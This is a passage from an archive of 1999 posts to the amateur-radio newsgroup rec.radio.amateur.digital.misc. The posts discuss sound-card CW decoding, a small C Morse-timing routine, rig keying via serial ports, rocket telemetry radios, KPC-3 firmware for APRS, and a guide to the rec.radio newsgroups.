satellite. The timing pulses can be used to calculate the actual
sampling frequency of the sound card (if that is needed) as well as
determine the exact start and stop times for each bit. With 48 kHz,
the timing error could be as small as 20 us, corresponding to a path
length variation of 6 km.

: The Win95 task scheduler is not deterministic, and interrupt handlers have to
: be written to run in ring zero of the OS. This is easier in DOS, because it is
: single tasking, and everything runs at effectively ring zero. In Win95, waking up
: a process, or changing the focus, is done by internal interrupts to the scheduler,
: and doesn't give the necessary fine control needed to synchonize parts of a
: user process.

For CCW, we do not need to do the actual decoding in real time
synchronised with the audio cycle or even within a dot time. We can
collect audio samples for a few dot times, run the detection process
for that data in a normal interactive process and then resume waiting
for the next batch of samples. The important things are that we can
time stamp each sample with a reliable sample number and have
sufficient (multi)buffering not to loose a single sample.

: I don't doubt that a CCW program could be written that would
: work under Win95 (I expect most of the guts would have to be at ring zero),
: but it would take more sophisticated programming skills than it would to do
: it for DOS. In other words, it would require someone with extensive practice
: writing complex Win95 device drivers. (It would be easier to write for Linux,
: because the scheduler is deterministic, but it would still be harder than doing
: it on the bare silicon of the machine, which is effectively what you do when
: writing under DOS.)

The transmitter side may be a bit more complicated, since a stable
long term timing may be required, the problem with the normal
GetTickCount (or GetCurrentTime) is that it is updated only every 10
ms, so you may be forced to use multimedia timers. An alternative
might be to use GetPerformanceCounter, which has a resolution about 1
us, but querying it is a bit heavy operation.

One other problem with some sound cards are that they are half duplex,
so you can not have the transmitter program constantly sending audio
buffer (with silence) to the buffer. It would be preferable to have
the transmitter program to send silent buffers to the sound card
constantly, thus relying the transmitter timing accuracy solely on the

sound card sample clock accuracy and not having to worry about interrupt latency or task switching times or system clock accuracy and resolution.

It may require some rethinking in software design, but I see no need for extensive kernel mode support for encoding and decoding CCW on a nondeterministically multitasking operating system.

When AEA still existed they did not want you to get ROM updates for
free, even if you needed them for a bugfix. You had to pay for them
"because they include new features", and they would threaten people
who offered to copy ROMs in case a critical bug was found.

However, AEA no longer exists, and their equipment is now sold by
Timewave. Maybe they are a bit more liberal in this respect...

3456. Re: Seek pointers to software PLL

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-09 00:00:00 UTC
From: khmi@news.tampere.fi
Message-ID: <7omf4e$dmo@tampere.tampere.fi>
Source record: 17014

In article <7oktm5rrg1@news1.fast.net> you wrote:

: Hello all,

: I am looking for suggestions on implementing a software PLL
: to detect an OOK signal with phase jitter. Pointers to references
: would be greatly appreciated. I am asking here, as the problem has
: some similarities to CW detection, although there are some differences.

Here's how I've done it. This is the file that defines my function to collect 'bitmap' image of keyed-in cw -character. It does the thing you're looking for by just updating and making comparisons with static variable 'count'.

```
/* CWIMAGE.C */

#include <stdio.h>
#include "cwrx.h"

/*
* Image collects from incoming cw -signal a bitmap of a character.
* Most significant 1 -bit is always a begin flag of an image.
* The rest of the image is coded as: 1 means a 'dah' and 0 means a 'dit'.
*/

int image(int port) {
int i,cwimg;
static int count=200; /* Length of a 'dit' */
static int space=0; /* A flag for making space
between two words */

/* If longer pause than 4 'dits'
then its end of the word */
for (i=0;KEYUP && (i<4*count);i++);
if ((i>=3*count) && space) {
space = 0; /* No more spaces than 1 */
putchar(' ');
}

cwimg = 1; /* Initialize image */
while KEYUP; /* Wait for keydown sequence */

/*
* This is the main loop for collecting an image
*/

for (;;) {
sound(); /* Make some noise */
```

```
cwimg <<= 1; /* Make room for a new bit
of the image */
for (i=0;KEYDOWN;i++); /* Wait for release of the key */
nosound(); /* Stop that noise */

/*
* Now it's time to make a decision if a bit, just got, is going to be 1 or 0
* variable 'i' is proportional to the lenth of a keydown sequence just got.
*/

if (i>2*count) { /* If lengthier than 2 'dit's */
cwimg |= 1; /* It really is a 'dah' */
i /= 3; /* So manipulate cwimg
accordingly */
}

/*
* Variable 'count' (length of a 'dit') needs updating to make a program
* capable to adaptate to incoming signal.
*/

count = (i+count) / 2; /* Anyhow make 'count' to an
average of the new and the old
length of a 'dit' */

/*
* Now, wait for a new keydown sequence start before time of 2 'dits' has
* elapsed. If so, continue collecting of an image. Else the image is ready,
* return it for further processing.
*/

for (i=0;KEYUP && (i<2*count);i++);
if (i>= 2*count) break;

else count = (i+count) /2; /* Update 'count' with length
of a space */
}
space = 1; /* A space between words is
possible after a charcter */
return cwimg;
}

/* End of CWIMAGE.C */

Hope you can get something out of that.

I have a new Kenwood TH-D7A and am having trouble getting it to
interface with a PC for memory programming or TNC/Packet Operations.

The memory manager program I downloaded from the Kenwood site is a very
early bata version and has little other instructions. Is there a newer
better version?

I'm reasonably sure the cable I built is as per the manual.

When run, the HT does not seem to open the serial port on it's side as
seen by the serial port break-out box I have attached.

Is there a special mode the HT needs to be in to read and write memory
data?

When set up as a TNC I can't get it to give me a 'cmd:' prompt. Again,
the HT side seems closed?

Any ideas?

Do you already know : Analyzer2000 has now also a logarithmic frequency axis!

Analyzer2000, one of the world's most fastest and famous audio analyzers,
is now available in the 3.20 version.

It's full functional shareware and can be download at
http://members.aol.com/btf1

+++Superfast spectral analysis with FFT display for time and frequency variant
signals
+++FFT sizes from 256 to 16384 points, dynamic range up to 160 dB, graphical
zoom up to 32:1
+++linear or logarithmic frequency axis
+++Time analysis with oscilloscope and envelope display
+++Sonagraphic analysis with waterfall display
+++Measurement tools like markers, frequency rulers, level rulers, time rulers
+++Easy determination of THD, SNR (SINAD) and VCO phase noise (dBc/Hz)
+++Built-in test generator for sinewave and/or noise stimulation (full duplex
mode)
+++Multi morse decoder
+++PSK31 modem driver for the new RTTY mode
+++Simultaneous recording directly from PC sound card to standard wave file
+++Snapshot functionality (20 seconds post trigger memory)
+++Analyzing of standard wave files or post trigger memory in offline mode

That doesn't look right - I see a % in there that should be a ~.

Don't bother with too much reading. Just get PSK31SBW and put it on
the speaker. Read the Help file thoroughly and you are ready to go
acoustic coupling and be in your first QSO within two hours of the
download.

Hi John,

Do you have any idea when the new WeFax program for the PK-232DSP will be ready and how it will
compare to other WeFax programs.

On another note, why doesn't Timewave have a program for the Pk-232 line that can do WeFax , Sat,
SSTV and other digital modes (RTTY, BAUDOT, PKT, etc...) all in one package? Can you say you do as
PK-Term is limited. If Timewave can make a WeFax program why not at the very lease make it one
package?...Is it that that for sales do make a move?

3468. Telemetry Question

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-10 00:00:00 UTC
From: Cam Meek <cammeek@ix.netcom.com>
Message-ID: <37AFB88B.5782B656@ix.netcom.com>

I'm looking to set up a telemetry system between a small
microcontroller and a PC. This is strickly a one-way connection so
using a packet system really isn't necessary. I simply want to take the
RS232 data from the microcontroller, send it over the air to a receiver
connected to the serial port of the computer. The ideal system would
handle 9600 baud, and be small and light weight. I have been looking at
the Tekk Data Radios but assume that I would have to build a FSK circuit
between the micro controller and the radio.
I'm sure that this has been done before and I don't really want to
reinvent it. If you have any ideas on radios that can do this for me,
or have schmatics of systems that you would be willing to share, please
let me know.

Thanks
Cam Meek

Tim, if it will help your search, the HD4040 was a commercial version of
the original TNC-1. As far as I remember (going back to about 1985/6),
the schematics were virtually identical.

It's probably easier and more reliable to directly key the rig via the CW key input so you don't have to worry about wave shaping, over-driving, hum in the audio, etc. As more people have sound cards wired to their rigs for other modes I wouldn't be surprised see sound card generated CW come about. Then we can listen to keyed 60 Hz and broad overdriven CW signals and be reminded of the days of spark :-)

I've provided a serial handshake output in MultiMode to key CW transmitters (and another line for PTT control), it seems to be what most people are looking for. Feeding a tone into the microphone might be 'easier', but I agree that it opens up possibilites for hum, and other problems. Plus a legal question - would it really be CW? That is, could you run it on the CW only segments?

I'll probably add a CW audio output to an upcoming version of MultiMode anyway, as it may be of use to some people.

On another note, MultiMode for Windows is actually coming along. Sound input is working, and ACARS has been implemented as the first mode. Once a few other modes are implemented, we'll start taking a limited number of beta testers. It will probably be a little while before the Windows version catches up to the functionality of the Mac version (which is a moving target, anyway).

The URL for information about MultiMode for Windows is:

Absolutely, Chris. Several of the older SSB rigs obtained CW operation
only through keying an internal audio oscillator which was fed into the
mic circuit. If the audio signal is clean, there is no detectable
difference between the signal it causes to be transmitted and a
corresponding "cw" signal, assuming that the same keying wave shaping is
used, etc.

You didn't mention the range required, but Parallax Inc. has available
RF modules (operate on 303.825 MHz) for short-range communication. They
are RS-232, not sure at what maximum data rate. They are intended for
use with PIC microcontrollers and Basic Stamps, I think they even come
with example source code. They are around $70 each.

Oh. OK, a little out of the range of the Parallax modules, by an order of magnitude or two. Another suggestion would be to obtain an inexpensive HT and re-package the electronics with a PIC microcontroller or Basic Stamp (there is code available on the web to turn them into a programmable modem or even format ax.25 packets for UNPROTO reception by a standard TNC). Depending on what you need your on-board microcontroller to do, you may well be able to combine all the required functionality into a single PIC controller, they are extremely versatile. A used Icom 2A handheld would be great for the RF deck, the electronics package is small and easy to remove, they are very easy to interface, and they only draw about 20 ma. on receive. You should be able to find a clean one for around $75. There is undoubtedly pre-packaged hardware out there to do this as well, but the cost will be much higher than home brew, and probably much less versatile. Depends on your budget and requirements.

Sounds like a fun project, hope this helps.

I understand the Tekk data radios already have a digital port, so you shouldn't have to build your own FSK circuit. I'm not sure whether it's RS232 or TTL-compatible though.

Thanks, but actually I need more range than that provides. I guess I should have been more specific. The transmitter is going to be placed in a model rocket for transmitting data from science experiments. Currently, we are looking at altitudes of around 50000ft, possibly higher at a later date. Also I have access to the TTL (5volt) data stream coming out of the micro so the transmitter doesn't specifically have to take RS-232.

Thanks

I too just entered the world of SSTV. I acquired Multimode from the internet. It runs on a used $400 Apple PowerPC notebook computer. It is share ware and costs $45. So far I have been able to use SSTV, CW, RTTY, PKS-31, Sitor, and the various digital frequency displays. For less then $450 its a pretty good way to go digital.

I just wish it also did packet.

3478. Latest Digital Activity

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-11 00:00:00 UTC
From: Johnny Rico <lawdog2@ibm.net>
Message-ID: <37b1717f@news1.us.ibm.net>
Source record: 17036

There have been several posts lately re: the level of digital
activity. My observations:

Monday evening, 1800 PDT ...

1. PSK31 "subband": (14065-14072 or so...) wall to wall signals. The
good old 500 hz filters and DSP were definitely required.

2. Pactor "subband" (14065-14082 or so...) counted a respectable
7signals, 5of which were live QSOs, 2 were mailbox connections.
(Would someone explain why robot stations cannot be located up above
14090, where they won't interfere with actual QSOS?

I enjoyed 4 qsos that night, 1 on Pactor (Pactor 2, specifically), 3
on PSK31. Interestingly, several of the chaps I have worked lately on
PSK do not work any other digital modes, no doubt because PSK31 does
not require you to own a TNC. This mode has really caused a
renaissance in digital activity, in my estimation. What fun!!

Tuesday evening was even busier than Monday!!

Yeah, 20M has had good conditions in the evening lately
here in California. I talked to some guy in Colorado with
an S9+ signal -- who was using 100 watts into his drain pipe.
I worked Chile on Pactor -- he also had a powerful signal with
5 watts into a big beam, and chatted for that guy for over an hour.

There is now ongoing a new project with its goal to create a 10Mbit Microwave kit. Much efforts has Allready been made, and the ones who feels that they have a call for this sort of stuff are very much wellcome to join us. People of intrests are they who has writeln ethernet protocols, people who has wiroked with microwaves - PCB design and the rest who feels that they can contribute with something needed inhere.

The project style are driven in the Linux project model.

There is in some locations a badly need of infrastructure in some places and at the same time a very bad usement of the 44 andresses, and that is something I have in mind to change by this. So fellows who feels that the old packetradio standard needs a major upgrade, then please join us.

So why not "A-B" switch the camera and the rig? Do you use them at the same time? This would make a port available if you really want to do that.

>
> With a system like mine (and it really is typical for users to

I wouldn't agree that it's *typical* for users to have all ports and slots in use. I believe you have a *power* system.

>
> More to the point, if more sophisticated programs such as sstv
> programs, PK31 programs, and similar software can use the sound

You are correct. VOX timing and waveshaping might be a problem on some rigs, especially at higher speeds but I'm sure it can be overcome.

>
> The argument that "we can listen to keyed 60 Hz . . ." is a bit
> of a straw dog--do you hear it in sstv signals or pk31 transmissions

Not so much in sstv because it would show up in the picture but yes, I do hear psk31 and pactor stations overdriven, with hum and key clicks (pactor). The "days of spark" was supposed to be funny :-) but it also has a little ring of truth.

> (both of which require far more precision in tone than does cw)?

I don't understand what's that got to do with hum and overdriving.

> If the user is transmitting a 60 Hz or overdriven signal, how does
> that differ from transmitting an over-modulated ssb signal with a 60
> Hz hum?

It doesn't except that it is more likely to be heard and reported on ssb (and CW) then on the data modes as the speaker may be off or turned way down.

> In both cases, it is the responsibility of the transmitting amateur
> to correct the problem, not the responsibility of the software
> designer to prevent the possibility.

Agree. Again, I was stating a possible reason as to why it hasn't been done, not saying that it can't be done or even that it shouldn't be done.

It's hard to believe that all the RS232 digital output lines are
used. All one needs is one otherwise unused output line. Or since
nothing happens in the printer if one data line is toggled while
keeping all the others stable, use one parallel port data line.
Whatever happened to hardware hacking?

It would be possible to have two programs assigned to the same com port as long as you only run one at a time. The CW program could have a setting to determine which line is keyed. The problem would be that the other program (radio control software for example) might change the state of that line (even though it's not used by the program) while initializing the port. That would inadvertently key the CW line to the rig. PSK31SB has that problem on the RS-232 key line. The Tx is momentarily keyed when the program initializes the port. Some of the Windows sstv software does this as well.

You've got to be careful of any Tx use of the sound card with vox as well so you don't end up transmitting Windows sounds over the air. In the days of packet beacons I can't count how many times I've heard a packet beacon sent over the local repeater because someone forgot to turn off the TNC before switching back to the repeater freq.

Sending CW via SSB seems self-defeating. You're bypassing all the abilities of the mode, and all the features in your rig that support the mode. However, I think there's a reasonable solution, but it goes back to getting the software support. Given a noise-free CW audio stream, it would be easy to hack together a tone decoder to key your rig. An NE567 costs about $0.50 these days. Use its output to switch your keying circuit. It's very inefficient in terms of CPU cycles, but it will work.

I believe it would be far simpler to follow Cecil's suggestion, and hack into your existing serial cable. Breakout boxes cost about $15 or $20 these days. Run ground and the single signal line, usually DTR, through a diode and an optoisolator. Add a simple on-off switch to disable it when you're using other software, and everything will work as intended.

Last, you can use a serial switchbox to clobber together all your toys. Myself, I'll just stick with the paddles and skip the headaches.

Michael.

Interestingly enough, that is exactly what the Icom IC-765 does for RTTY operation. You can do direct FSK or you can introduce AFSK tones. However, those AFSK tones are just decoded and that output is used to binarily key the FSK system! It really doesn't matter exactly what the AFSK tones are as long as they will drive the decoder to the correct Mark and Space decisions to operate the actual FSK circuit. The tone frequencies DO NOT, in this case, determine the actual transmitted frequencies.

Again, a major problem with today's Windows systems is that sharing the use of a single comm port across two different programs seldom works.

I don't think 3 video cards, SCSI, sound and ethernet is the typical
ham setup!

I do have spare slots here, but no spare IRQs. The serial port is
a good way to key the radio IMHO -- but then none of my rigs have VOX.

It works well, though the low light sensitivity is not up to where I'd like.
I have a unit in the car, with the interface cable to the TM-V7. I think
they were a little silly not to power it from the car, since it does eat
batteries rather quickly.

They reversed the descriptions, It's only got three wires, one is ground.. but their "TXD" is not data out of the HT, they mean to connect the PC TXD there (it's RXD)

Cec... sadly, it has died like the dodo bird. If it is not the
plug and play stuff, it seems to not be done. Back in earlier days,
it was common to key a reed relay directly from an S100 bus card on
the old Heath machines. Dittle the bits out the port and control a
bunch of functions, in parallel. It is trivial to use a cassette port,
a serial port or a parallel port to dittle some cw. My expectation is
that if folks have too many ports tied up with things, get another
computer. The darn things are being given away, these days. I am
always a little curious what folks will do when the Blue Screen Of
Death aborts the machine trying to do everything? Too much computer
control.....too little hardware hacking or manual backup.....(:+{{....
Maybe, instead of windoz, a unix box, with a couple of dozen serial
ports, or maybe an ethernet dongle dittling CW off packet streams.
On a local network, you could easily hang a couple of hundred functions
off the line. Surely that would be enough ports.

Some time ago, there were a couple of threads discussing efforts to extend the N6GN 2-mbit/s digital radio link project for use with more modern, readily-available 10-mbit/s Ethernet cards.

I've recently completed work on a project that delivers robust 10-mbit/s performance across an X-band microwave link at a reasonable price/complexity level, and wanted to post an announcement here to let any interested parties know of the results. The link has been in daily use for several weeks between my office and residence, and has worked great so far! Any feedback and questions are welcome.

Hello All,

We are Macclesfield and District Radio Club and will be
operating the club station /P from the site of a vintage
Steam Traction Rally at Astle Park in Cheshire England.
Near to Joderell Bank Radio Telescope

Please look out for us and Give a call in. our Callsigns
will be :-

GX4MWS/p =
Golf X-Ray FOUR Macclesfield Wireless Society / Portable
we are planning operation on 80m, 40m, 20m,15m, 10m, 6m (if conditions good)

and
GX1MWS/p =
Golf X-Ray ONE Macclesfield Wireless Society / Portable
Operation will be 2m and or 70cm with packet radio on one band

please call in to the station if you hear us or visit us if you are at the
show

>a serial port or a parallel port to dittle some cw. My expectation is
>that if folks have too many ports tied up with things, get another
>computer.

I'm using a single serial port on my Linux machine to receive the signal
from a timestandard receiver, and read the bit from a motion detector
in the room. When I still had it operational, two output bits controlled
my AZ/EL antenna rotator for satellite tracking.
In those days, 3 processes were opening the device and using part of it.
(RXD/DCD for the timestandard, DSR for the alarm, RTS/DTR for the rotator
via an AMSAT-DL interface)

This has always been working just fine. There is still room for expansion
(TXD, CTS, RI)
I do have eight serial ports on this machine, but why waste a port when
only a single bit is needed?

Rob

I find it very good, but it does need the right amount of light to work
well. To much and it "whites" out.
Only problem I have. I live in the UK and I cant buy another lead for it. I
have a lead to fit a hand held, but I'd like to connect it to my TS450.
Nobody in the UK seems to stock accessories yet, is there anywhere
(world-wide) who would be willing to send me a lead in the UK?
cheers all

I have just uploaded the first release of my Spectrum Analyser program for the FT920 to my web page. You will need a PC and Win95 or above to run it. The program is released as Freeware. Please let me know of any successes/failures. Due to problems with downloads in the past, I have zipped all the files together into one file at 2.4Mb.

Program can be downloaded from

http://www.campbell84.freeserve.co.uk

Source record: 17067

Hi and TIA:

I would like to be able to use the narrow filter in the '920 on PSK, however I am unable to get it to transmit when I am in the DATA/USB mode. I am able to transmit when I set the rig up for straight USB.

I am using the VOX method with the isolation xfrmr as shown in May 99 QST. Do I need to key the '920 using the comm port?

Also, when I am in the DATA mode, does the rig only accept input to transmit from the data jack on the back of the rig? I'd sure hate to have to switch cables all the time. I suppose I could modify a serial cable A/B switch box, but I transgress.....

Any thoughts?

Thanks again.

I'm solving the same problem here with in-line female jacks, wired to
whatever the particular radio wants.

3518. Guide to the rec.radio Newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-17 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7pb5ivgtv1@news.hawaii.edu>
Source record: 17076
Cross-posted to: rec.radio.amateur.dx,rec.radio.amateur.digital.misc

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, KH6O, jeffreyh@hawaii.edu, or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas. PLEASE BE SURE TO SAVE THE WELCOME MESSAGE YOU RECEIVE AFTER SUBSCRIBING -- IT WILL CONTAIN IMPORTANT INFO REGARDING UNSUBSCRIBING!

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send an email to cq-contesting-request@contesting.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's

headers (before the first blank line). This will cause followups to your article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

A fair collection of articles covering FlexNet, including the DOS and Win95 versions as well as the FlexDigi node option. Numerous setup examples, and step-by-step articles.

All of the articles are public domain, and many have a "text version" button at the end, for the convenience of Ham newsletter editors.

Enjoy!

There is now ongoing a new project with its goal to create a 10Mbit
Microwave kit. Much efforts has Allready been made, and the ones who feels
that they have a call for this sort of stuff are very much wellcome to join
us. People of intrests are they who has writeln ethernet protocols, people
who has wiroked with microwaves - PCB design and the rest who feels that
they can contribute with something needed inhere.

The project style are driven in the Linux project model.

There is in some locations a badly need of infrastructure in some places and
at the same time a very bad usement of the 44 andresses, and that is
something I have in mind to change by this. So fellows who feels that the
old packetradio standard needs a major upgrade, then please join us.

Hello,

I have Kantronics KPC-3 Version 5 Firmware. Is it possible to configure the
TNC for APRS? Or do I need version 6, with the GPS commands?

If anyone can help me get set up I would really appreciate it.

Thanks

VA3HST
Paul.

Depends on what you are trying to do. If you just want to run APRS on a PC, it'll work fine. If you want to build a stand alone tracker, you'll need the prom upgrade. The current one is 8.2, and about $60 from Kantronics. I understand there are images of that prom available, but using them would be wrong. ;-)

What I want to do is use my Garmin GPS12XL and the TNC in the car, for APRS
use. No computer hooked up. Can the TNC be programmed to work this way?
If so, can you tell me how?

Thanks.

You will need to upgrade to at least version 6.2 EPROM to use the GPS features. I will be upgrading 2 TNC's to the latest version if you want to buy the old EPROMS.

73,

Willie

You're right Tom, but Paul wants to use the KPC-3 for a stand alone tracker without a PC hooked to it. To hook it directly to a NMEA GPS Paul needs version 6.0 or above.

Version 6.0 of the firmware adds GPS interfacing capability. Eight new commands are added and the intface command is modified. (Taken from the KPC-3 manual addendum for version 6.0)

Ok, I just have a quick question.

What is possible today on packet radio. I don't have my license yet (working on it) but I am interested in what this field has done. 10 years ago I used to watch my dad on packet basically just chatting with others. Can packet do anything today other than provide a 'chat room.' I'm especially interested in how it works with TCP/IP. Thanks for any replies.

You might be right. I thought that the 6.2 addendum had the "new" GPS commands detailed in it. Once you have the correct EPROM it works great, I have set up 3 trackers with KPC-3's so far.

I think you guys have the wrong numbers.

'Ver 8.2' has features that allow the tnc to be connected to a gps and send
the NMEA data over the air. This allowed a setup with a tnc, radio and gps
to be used as a tracker for other APRS stations. The 8.2 could be a full
APRS station if the computer had an additional serial port.

The '8.3' version allows a gps to be connected to the radio port of the tnc
so you could have an APRS station with a computer with only one serial port.

BTW the KPC-3+ while a good tnc is not very user friendly. Get some help
from the aprssig group that can be found at www.tapr.org.

Actually, an older KPC-3 with version 6.0 firmware does work with a GPS for stand-alone tracker purposes, with the INT set to GPS. If you have an HSP cable, then you can use a laptop at the same time with the TNC in TERMINAL mode. I used this combination for months, then got a KPC3+ with version 8.2 and continued to use the HSP, and eventually got a firmware upgrade to version 8.3 so I could get rid of the HSP cable. That way I could also leave it to run by itself as a tracker when the laptop wasn't hooked up. So if someone does find a KPC-3 with version 6.0 firmware, it will work, just not the same as a newer KPC-3+ with 8.3 firmware.

Hi Petersen. Take a look at the Automatic Packet Reporting System
(APRS), the fastest growing application in packet radio today! Real-time
position tracking (using GPS), mapping, messaging, search and rescue,
weather station reporting, Internet gateways, all integrated into one
system.

For an introduction to APRS: http://www.netro.co.uk/whitepaper.htm

For information on how TCP/IP works over packet radio, take a look at:

http://www.netro.co.uk/nosintro.html

Let me explain a bit more.
The system is intended to use for a point to point link for a refugee organisation in Africa.
They can't use (amateur) mailbox systems.
I would like to run the system standalone, thus without connected computer.
When someone has a message for the other side, he connect his laptop and uploads the
message to the remote PTCII's internal BBS.

I tested AirMail, but it looks like this software does not recognize a standalone PTCII as a
BBS.

thanks,
Gerrit.

Most amateur applications of packet haven't progressed much since you
